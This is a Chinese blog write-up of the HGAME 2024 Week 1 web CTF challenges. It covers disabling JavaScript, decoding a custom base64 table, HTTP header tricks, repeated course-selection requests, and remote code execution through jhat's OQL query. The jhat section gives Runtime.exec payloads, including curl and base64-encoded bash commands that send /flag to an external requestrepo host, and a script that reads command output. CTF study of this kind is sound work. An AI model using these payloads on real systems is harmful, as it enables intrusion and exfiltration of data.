HGAME 2024 WEEK1 Web方向题解 全

---------【WEEK-1】---------

Bypass it

题目描述:This page requires javascript to be enabled 😃

开题

image-20240129200206813

image-20240129200236366

不给注册,进注册就弹窗。根据题目描述,禁用JS

image-20240129222732852

注册成功登录给flag

image-20240129222721808

image-20240129222747201

2048*16

前端小游戏出这么难。JS源码各种混淆手段很难看懂。在翻翻找找之后找到两串编码。

image-20240130005448358

image-20240130011925800

是换表base64。。。。。。。。

image-20240130011935541

ezHTTP

题目描述:HTTP Protocol Basics

一把梭了,见图。

image-20240131222331290

image-20240131222425496

image-20240131222958097

Select Courses

事情缘起于,我发现一模一样的包,多几次就选上了?????

image-20240131224725991

平常不敢爆破的教务系统终究还是在比赛中爆破了。

image-20240131223947147

就这样爆,爆足成千上万次。

image-20240131224818746

如法炮制全部选上。

image-20240131230234097

image-20240131230242403

jhat

题目描述:

jhat is a tool used for analyzing Java heap dump files

提示1hint1: need rce

提示2hint2: focus on oql

提示3hint3: 题目不出网 想办法拿到执行结果

jhat简介:

jhat命令与jmap命令搭配使用,用于分析jmap生成的heap dump文件(堆转储快照)。jhat内置了一个微型的HTTP/HTML服务器,对生成的dump文件分析后,可以在浏览器中查看分析结果。

使用jhat命令,会启动一个http服务,默认端口7000。

附件内容:

FROM openjdk:8

COPY data /

CMD jhat heapdump.hprof

EXPOSE 7000
  1. FROM openjdk:8
    • 这一行指定了新镜像的基础镜像。在这种情况下,它使用的是包含Java 8开发工具包的openjdk镜像。这意味着新创建的镜像将在已安装Java 8的环境中运行。
  2. COPY data /
    • 这一行将宿主机上的data目录中的文件复制到容器的根目录(/)中。这意味着你可以将任何需要的文件或目录从你的项目目录复制到构建的Docker镜像中。
  3. CMD jhat heapdump.hprof
    • CMD指令指定了容器启动时默认执行的命令。在这个例子中,当容器启动时,它将执行jhat命令对heapdump.hprof文件进行分析。jhat是Java堆分析工具,用于分析Java堆转储文件。
  4. EXPOSE 7000
    • EXPOSE指令告诉Docker容器在运行时将监听端口7000。虽然这个命令本身不会发布端口到宿主机,但它可以作为文档的一部分,说明服务期望在7000端口上接收连接。

可以先看看这篇文章:JVM命令行监控工具之jhat(Java Heap Analysis Tool)-CSDN博客

文章有提到可以使用OQL地位一些大对象,hint也有OQL,搜了一下OQL可以造成RCE,看下文:

[OQL(对象查询语言)在产品实现中造成的RCE(Object Injection) - Nebula (chenxuuu.github.io)](https://chenxuuu.github.io/wooyun_articles/drops/OQL(对象查询语言)在产品实现中造成的RCE(Object Injection).html)

以及OQL是什么:

OQL(对象查询语言,Object Query Language)是一种用于查询对象数据库的查询语言。它的设计理念与SQL(结构化查询语言,用于关系数据库)相似,但OQL是为了更好地适应对象数据库的结构而设计的。在对象数据库中,数据被存储为对象,而不是传统的表格形式。

OQL的特点:

  1. 面向对象:OQL是基于对象的,这意味着它能直接查询对象、对象的属性和它们之间的关系。
  2. 表达能力:OQL提供了丰富的表达能力来查询复杂的对象结构,包括继承、多态和关联。
  3. 与SQL的相似性:对于熟悉SQL的用户来说,OQL的语法相对直观,因为它借鉴了SQL的许多概念和语法结构。
  4. 适用于对象导向数据库:OQL主要用于对象导向数据库系统,这些系统通常用于管理复杂的数据和关系,例如在CAD(计算机辅助设计)、电信或金融服务行业中。

应用场景:

  • 复杂数据模型:在需要处理复杂数据模型和关系的应用中,OQL能有效地执行查询。
  • 对象导向程序设计:在对象导向的程序设计中,使用OQL可以更自然地与应用程序的数据结构集成。

回到题目,题目说不出网,但是http信道是可以带出数据的。

java.lang.Runtime.getRuntime().exec('curl -X POST --data hello http://i5yh54u0.requestrepo.com')

image-20240201164848442

image-20240201164855932

一开始十七踩了个坑,企图通过执行以下字符串来DNS带出flag。

java.lang.Runtime.getRuntime().exec('curl  http://`cat /flag`.i5yh54u0.requestrepo.com/')

Shell特性:这个命令尝试使用反引号(`)来执行子命令(cat /flag),这是Shell的一种特性。然而,Runtime.exec不会解析Shell命令或Shell特性(如管道|、重定向>、反引号等)。它只是简单地将提供的字符串作为命令执行,而不经过Shell解释器,因此无法理解或执行嵌入的子命令。

解决方案:要使用这些特性,需要显式地调用Shell并将整个命令字符串作为Shell命令的一部分传递,例如使用bash -c "命令"

java.lang.Runtime.getRuntime().exec('bash -c {echo,Y3VybCAgaHR0cDovL2BjYXQgL2ZsYWdgLmk1eWg1NHUwLnJlcXVlc3RyZXBvLmNvbS8=}|{base64,-d}|{bash,-i}')

显式调用Shell:这个命令通过bash -c显式调用了Shell,并将整个命令作为字符串传递给Shell。这样就可以利用Shell来解析和执行复杂的命令行特性,包括管道和命令替换。

命令解码{echo,Y3VybCAtVCAvZmxhZyBodHRwOi8vaTV5aDU0dTAucmVxdWVzdHJlcG8uY29t}|{base64,-d}|{bash,-i}部分实际上是一个经过编码的命令字符串,使用base64解码后执行。这种方法绕过了直接在exec方法中使用Shell特性的限制。

image-20240201191115249

image-20240201191131097

但是题目有说不出网,以上的方法估计是非预期。预期解应该是如下payload:

var process = java.lang.Runtime.getRuntime().exec("cat /flag");
var inputStream = process.getInputStream();
var scanner = new java.util.Scanner(inputStream).useDelimiter("\\A");
var result = scanner.hasNext() ? scanner.next() : "";
result;

image-20240202224757321

这里可能会很懵逼哈,不是说好java怎么扯到js了呢?(var

Java中var是Java10版本新出的特性,用它来定义局部变量。
使用var 定义变量的语法: var 变量名 = 初始值;

Java中var类型的用法和使用var的注意事项和使用var的优缺点_java var-CSDN博客

回到payload,逐句解释一下。

1、var process = java.lang.Runtime.getRuntime().exec("cat /flag");

这行代码使用Java的Runtime类来执行一个外部命令,这里的命令是cat /flagcat命令用于在Linux中读取文件内容并将其输出到标准输出。这里假设/flag是一个文件的路径。exec方法返回一个Process对象,该对象代表了执行的外部命令。

2、var inputStream = process.getInputStream();

这行代码获取了执行外部命令产生的进程的标准输出流。Process类的getInputStream方法返回一个输入流(InputStream),用于读取命令的标准输出内容。

3、var scanner = new java.util.Scanner(inputStream).useDelimiter("\\A");

这里创建了一个Scanner对象,用于解析(扫描)从inputStream中读取的数据。Scanner是Java的一个便利类,用于解析文本并允许程序以多种方式读取文本。useDelimiter("\\A")设置了Scanner的分隔符为正则表达式\\A,这意味着它将整个输入视为一个单一的元素(因为\\A是正则表达式的开头边界,这实际上不会分割输入,允许读取整个内容作为一个字符串)。

4、var result = scanner.hasNext() ? scanner.next() : "";

这行代码使用三元操作符来检查scanner是否有下一个元素。如果有(即,如果有输出可读),它使用scanner.next()读取整个输入作为一个字符串。如果没有输出,它将result设置为空字符串。这是一种读取全部输出内容并将其存储在一个字符串变量中的快速方法。

5、result;

显示、返回或使用前面获取的result字符串。

其实result就是process对象的toString方法返回的东西

  • 18
    点赞
  • 22
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 3
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 3
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Jay 17

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值